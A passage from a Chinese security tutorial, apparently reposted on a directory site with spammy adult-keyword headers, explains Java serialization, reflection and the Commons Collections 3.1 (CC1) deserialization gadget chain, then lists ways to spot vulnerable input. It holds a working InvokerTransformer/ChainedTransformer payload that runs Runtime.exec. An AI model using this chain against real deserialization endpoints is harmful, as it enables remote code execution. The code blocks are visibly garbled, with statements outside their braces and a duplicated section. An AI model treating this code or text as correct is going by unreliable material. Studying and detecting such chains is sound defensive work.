亚洲视频二区_亚洲欧洲日本天天堂在线观看_日韩一区二区在线观看_中文字幕不卡一区

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.430618.com 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

0×01:序列化基本概念

  • 序列化:將對象寫入IO流中
  • 反序列化:從IO流中恢復對象
  • 意義:序列化機制允許將實現序列化的JAVA對象轉換位字節序列,這些字節序列可以保存在磁盤上,或通過網絡傳輸,以達到以后恢復成原來的對象。序列化機制使得對象可以脫離程序的運行而獨立存在。

0×02:Java中的反射機制

1. 反射機制的作用: 通過java語言中的反射機制可以操作字節碼文件(可以讀和修改字節碼文件)

2. 反射機制的相關類在哪個包下java.lang.reflect.*;

3. 反射機制的相關類有哪些:

java.lang.Class 代表字節碼文件,代表整個類

java.lang.reflect.Method 代表字節碼中的方法字節碼,代表類中的方法
java.lang.reflect.Constructor 代表字節碼中的構造方法字節碼,代表類中的構造方法java.lang.reflect.Field 代表字節碼中的屬性字節碼,代表類中的屬性。

我們先看最主要的部分——執行系統命令

public class N0Tai1{
    public static void main(String[] args) throws Exception{
} }
Runtime calc = Runtime.getRuntime(); calc.exec("calc"); //Runtime.getRuntime().calc.exec("calc")

相應的反射代碼如下:

public class N0Tai1{
    public static void main(String[] args) throws Exception{
} }
Class c = Class.forName("java.lang.Runtime"); //c代表Runtime.class字節碼文件,c代表Runtime類型
Object obj = c.getMethod("getRuntime", null).invoke(c,null);
/*
* 通過getMethod對getRuntime這個方法進行實例化
* getRuntime并不需要傳參,所以傳參類型為null,后面的invoke實現getRuntime
* */
String[] n0tai1 = {"calc.exe"}; c.getMethod("exec",String.class).invoke(obj,n0tai1);
/*
* getMethod對exec這個方法進行實例化
* exec需要傳一個String類型的字符串或者String類型的數組,然后invoke實現exec方法 * */

0×03:序列化的實現方式

序列化概述

如果需要將某個對象保存到磁盤上或者通過網絡傳輸,那么這個類應該實現 Serializable 接口或者Externalizable接口之一。

使用到JDK中關鍵類 :

ObjectOutputStream (對象輸出流) 和 ObjectInputStream (對象輸入流)ObjectOutputStream 類中:通過使用 writeObject (Object object) 方法,將對象以二進制格式進行寫入。

ObjectInputStream類中:

通過使用 readObject() 方法,從輸入流中讀取二進制流,轉換成對象。

Transient關鍵字序列化的時候不會序列化Transient關鍵字修飾的變量,這個關鍵字不能修飾類和方法Static

靜態變量也不會被序列化

serialVersionUID

這里是指序列化的版本號,版本不一致會導致拋出錯誤,并且拒絕載入序列化與反序列化樣例:

//Person.java
package com.n0tai1.java.serialize;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream; import com.n0tai1.java.serialize.Student;
public class Person{
    public static void main(String[] args) throws IOException {
Student s = new Student(19,"ZAAAA"); System.out.println(s.Students()); System.out.println(s.toString()); ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("I:\project\Java\JavaSePro\src\flag.txt")); oos.writeObject(s);
oos.flush();
oos.close(); }
}
//Student.java
package com.n0tai1.java.serialize;
import java.io.Serializable;
public class Student implements Serializable {
    private static final long serialVersionUID = 5407396955208161433L;
    private int age;
     private transient String name;
    public Student(int age, String name){
this.age = age;
this.name = name; }
public String Students(){
return "姓名: "+ this.name + " 年齡: " + this.age;
}
@Override
public String toString() {
return "姓名: "+ this.name + " 年齡: " + this.age;
} }
//unserialize.java
package com.n0tai1.java.serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import com.n0tai1.java.serialize.Student;
public class unserialize{
    public static void main(String[] args) throws IOException,
ClassNotFoundException 
{
        ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("I:\project\Java\JavaSePro\src\flag.txt")); Object obj = ois.readObject();
System.out.println(obj);
ois.close(); }
}
現在已經知道如何序列化和反序列化了,我們把剛剛寫的彈計算器代碼序列化處理一下package com.n0tai1.java.serialize;
import com.n0tai1.java.serialize.ExecTest; import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Serializable{
    public static void main(String[] args) throws Exception {
ExecTest s = new ExecTest();
s.ExecTest();
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("I:\project\Java\JavaSePro\src\serialize.txt")); oos.writeObject(s);
oos.flush();
oos.close(); }
}private transient String name;
    public Student(int age, String name){
this.age = age;
this.name = name; }
public String Students(){
return "姓名: "+ this.name + " 年齡: " + this.age;
}
@Override
public String toString() {
return "姓名: "+ this.name + " 年齡: " + this.age;
} }
//unserialize.java
package com.n0tai1.java.serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import com.n0tai1.java.serialize.Student;
public class unserialize{
    public static void main(String[] args) throws IOException,
ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("I:\project\Java\JavaSePro\src\flag.txt")); Object obj = ois.readObject();
System.out.println(obj);
ois.close(); }
}

現在已經知道如何序列化和反序列化了,我們把剛剛寫的彈計算器代碼序列化處理一下

package com.n0tai1.java.serialize;
import com.n0tai1.java.serialize.ExecTest; import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Serializable{
    public static void main(String[] args) throws Exception {
ExecTest s = new ExecTest();
s.ExecTest();
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("I:\project\Java\JavaSePro\src\serialize.txt")); oos.writeObject(s);
oos.flush();
oos.close(); }
}
package com.n0tai1.java.serialize;
import java.io.Serializable;
public class ExecTest implements Serializable {
    public void ExecTest() throws Exception{
} }
Class c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime", null).invoke(null); String[] n0tai1 = {"calc.exe"}; c.getMethod("exec",String.class).invoke(obj,n0tai1);
//unserialize.java
package com.n0tai1.java.serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import com.n0tai1.java.serialize.ExecTest;
public class unserialize{
    public static void main(String[] args) throws IOException,
ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("I:\project\Java\JavaSePro\src\serialize.txt")); Object obj = ois.readObject();
System.out.println(obj);
ois.close(); }
}

但是這樣測試后發現,反序列操作后,不能彈出計算器嗎,因為Runtime類并沒有實現 Serializable接口

commons-collections3.1源碼分析

漏洞組件
:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1

參考鏈接
:https://security.tencent.com/index.php/blog/msg/97

我們直接入正題

詳解Java反序列化漏洞

 

我們可以通過

Map tansformedMap = TransformedMap.decorate(map,keyTransformer,valueTransformer)

來獲得一個TransformedMap類的實例進而調用到TransformedMap的構造方法

詳解Java反序列化漏洞

 

這里會調用到super(map),會調用到基類的有參構造

詳解Java反序列化漏洞

 

繼續調用基類有參構造

詳解Java反序列化漏洞

 

TransformedMap.decorate會對map類的數據結構進行轉化

TransformedMap.decorate方法,預期是對Map類的數據結構進行轉化,該方法有三個參數。


第一個參數為待轉化的Map對象
第二個參數為Map對象內的key要經過的轉化方法(可為單個方法,也可為鏈,也可為空)
第三個參數為Map對象內的value要經過的轉化方法

我們看今天的第一個主角ChainedTransformer.class,我們可以創建一個Transformer類型的數組,構造出ChainedTransformer,當觸發的時候ChainedTransformer可以將閑散的數據組合

詳解Java反序列化漏洞

 

我們看今天的第二個主角InvokerTransformer.class,我們可以給創建一個Transformer類型的數組, 然后對InvokerTransformer進行實例化

詳解Java反序列化漏洞

 

可以看到:

InvokerTransformer的transform中出現了 getMethod().invoke() 這種形式的代碼,我們 如果可以控制傳參,就可以RCE

那我們如何調用到InvokerTransformer和ChainedTransformer的transform呢?

這里我們需要用到:


AbstractInputCheckedMapDecorator下MapEntry下的setValue

詳解Java反序列化漏洞

 


詳解Java反序列化漏洞

 


詳解Java反序列化漏洞

 

只要讓iTransformers[i]為InvokerTransformer這個類的對象就可以調用到InvokerTransformer的transform

那我們如何觸發呢? 在進行反序列化的時候我們會調用ObjectInputStream類的readObject()方法,如果反序列化類被重寫

readObject(),那在反序列化的時候Java會優先調用重寫的readObject()方法,這樣就有了入口點

Payload分析

正文之前,在這之前說下我對getMethod和invoke這兩個方法的理解

getMethod

返回一個Method對象,getMethod獲取的是某個類下的某個方法,第一個參數是方法名,第二個參數 要看這個方法需要什么參數,如果需要字符串,那我們就寫String.class,如果不需要傳參,則用null即可

invoke

調用包裝在當前Method對象中的方法 ,第一個參數是obj,也就是實例化的對象,第二個參數是方法(這里的方法是指getMethod第一個參數對應的方法)需要的參數

分析

我們直接拿ysoserial中的cc1的鏈子來對照著寫一個(這里的代碼借鑒了一位大佬的...但是網址忘記了....)

import org.Apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer; import java.util.HashMap;
import java.util.Map;
public class test{
    public static void main(String[] args)
    {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new
Object[] { "calc" }) };
        Transformer transformerChain = new ChainedTransformer(transformers);
} }
Map innermap = new HashMap();
innermap.put("name", "hello");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain); Map.Entry elEntry = ( Map.Entry ) outmap.entrySet().iterator().next(); elEntry.setValue("hahah");

我們直接IDEA拉出來打個斷點開始瘋狂debug

詳解Java反序列化漏洞

 

先跟這個實例化對象,看看發生了什么大事件

new ConstantTransformer()部分

詳解Java反序列化漏洞

 

這里傳進來一個Runtime.class字節碼文件,然后賦值給了被private和final修飾的iConstant變量,我們看一下這個變量

詳解Java反序列化漏洞

 

new InvokerTransformer()部分

繼續往下跟,跟到InvokerTranformer類的構造方法

詳解Java反序列化漏洞

 


詳解Java反序列化漏洞

 

第一個參數是getMethod的作用是獲取對象的方法

第二個參數是兩個字節碼文件String.class和Class.class

第三個參數是Runtime.class下的靜態方法

詳解Java反序列化漏洞

 

繼續往下debug,依然是InvokerTransformer

詳解Java反序列化漏洞

 

第一個參數是invoke的作用是讓這個方法執行

第二個參數是兩個字節碼文件Object.class和Object.class

第三個參數是一個Object類型的數組,為空

詳解Java反序列化漏洞

 

繼續往下跟

詳解Java反序列化漏洞

 

第一個參數是exec的作用是執行系統命令,這個方法是Runtime.class下的

第二個參數是字節碼文件String.class

第三個參數是Object類型的數組,里面只有一個元素calc(這里就是調用的地方)

new ChainedTransformer部分

詳解Java反序列化漏洞

 

這里把這個有四個對象的數組傳入了ChainedTransformer中的有參構造方法處理

詳解Java反序列化漏洞

 

賦值給了iTransformers

new HashMap()部分

詳解Java反序列化漏洞

 

這里定義了一個底層為哈希表的數組,然后用put方法添加了key和value

TransformedMap.decorate靜態方法部分

詳解Java反序列化漏洞

 

在返回值中new了一個TransformedMap,調用了自身的有參構造方法

第一個參數接受的是我們put方法寫入map數組的key和value

第二個參數接受的是null

第三個參數接受的是transformerChain,也就是4個對象組成的數組

詳解Java反序列化漏洞

 

調用了父類的構造方法,并且傳了一個map

詳解Java反序列化漏洞

 

繼續調用父類的構造方法,仍傳的是map

詳解Java反序列化漏洞

 

繼續往下

詳解Java反序列化漏洞

 

Map.Entry學習和詳解

將output這個map類型的數組強轉到Map.Entry類型的數組中,并且用next獲取一組key和value

然后后面調用setValue

詳解Java反序列化漏洞

 

調用了checkSetValue

詳解Java反序列化漏洞

 

調用transform

詳解Java反序列化漏洞

 

這里的就開始遍歷我們之前寫入的4個實例化對象,我們來看最終觸發漏洞的關鍵地方

第一次遍歷

詳解Java反序列化漏洞

 

返回的是Runtime.class
第二次遍歷

詳解Java反序列化漏洞

 

給cls了一個Runtime.class字節碼文件,cls現在是Runtime類型,然后getMethod獲得一個方法對象, 方法名為getMethod,指定的傳參類型為String和Object,之后調用invoke實現了getMethod方法并且 傳參是getRuntime

Class cls = Class.forName("java.lang.Runtime")
Method method = cls.getMethod("getMethod",new Class[] { String.class, Class[].class }).invoke(cls,"getRuntime");
//等價于
cls.getMethod("getRuntime",null).invoke(cls.null);
//等價于
cls.getMethod("getRuntime",null);

第三次遍歷

詳解Java反序列化漏洞

 

getMethod獲得一個方法對象,方法名為invoke,指定的傳參類型為Object,然后調用invoke方法實現了invoke方法,傳參為null

cls.getMethod("invoke",new Class[] { Object.class, Object[].class }).invoke(cls,null);
//等價于
cls.invoke(null,null);

第四次遍歷

詳解Java反序列化漏洞

 

getMethod獲得一個方法對象,方法名為exec,指定傳參類型為String,然后通過invoke方法實現了exec方法,傳參為calc

cls.getMethod("exec",new Class[] { String.class }).invoke(cls,'calc');//等價于
cls.exec("calc");

總結一下思路:

InvokerTransformer為漏洞觸發處ChianedTransformer為一個容器,作用是幫我們把InvokerTransformer組成一個有序的數組,讓其有序遍歷

Transformer為一個接口類,這里寫法單純是多態而已....

1.利用setValue觸發
AbstractInputCheckedMapDecorator下的setValue進而觸發InvokerTransformer的transform這個漏洞觸發點

2.第二次遍歷生成的相當于一個未執行的Runtime.getRuntime(),第三次遍歷相當于將Runtime.getRuntime()執行,第四次循環調用了runtime下的方法exec

0×04:如何發現Java反序列化漏洞

  • 白盒

可以檢索源碼中對反序列化函數的調用,例如:

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMApper.readValue
JSON.parseobject

確定輸入點后,檢查class path中是否有危險庫,例如上文分析的Apache Commons Collections,若有危險庫直接用ysoserial梭哈

弱無危險庫,則檢查是否有涉及代碼執行的部分,查看是否有代碼編寫上的bug

  • 黑盒

我們可以通過抓包這種手段來檢測是否有可控輸入點,序列化數據通常以ACED開頭,之后兩個字節為版本號,一般情況是0005,某些情況下可能是更高的數字

如果不確定字符串是否為序列化數據,我們可以利用大牛寫好的工具SerializationDumper來進行檢測,用法如下:

java -jar SerializationDumper-v1.0.jar aced000573720008456d706c6f796565eae11e5afcd287c50200024c00086964656e746966797400 124c6a6176612f6c616e672f537472696e673b4c00046e616d6571007e0001787074000d47656e65 72616c207374616666740009e59198e5b7a5e794b2

關于摘星實驗室:

摘星實驗室是星云博創旗下專職負責技術研究的安全實驗室,成立于2020年5月,團隊核心成員均具備多年安全研究從業經驗。實驗室主要致力于攻防技術人員培養、攻防技術研究、安全領域前瞻性技術研究,為公司產品研發、安全項目及客戶服務提供強有力的支撐。在技術研究方面,摘星實驗室主攻漏洞挖掘及新型攻擊,并將重點關注攻擊溯源與黑客行為分析;與此同時,實驗室還將持續關注對工業互聯網領域的技術研究。

實驗室成立以來,已通過CNVD/CNNVD累計發布安全漏洞300余個,是CNVD和CNNVD的漏洞挖掘支撐單位,在安全漏洞預警、事件通報處置等方面均得到了行業權威機構的認可。

分享到:
標簽:Java
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定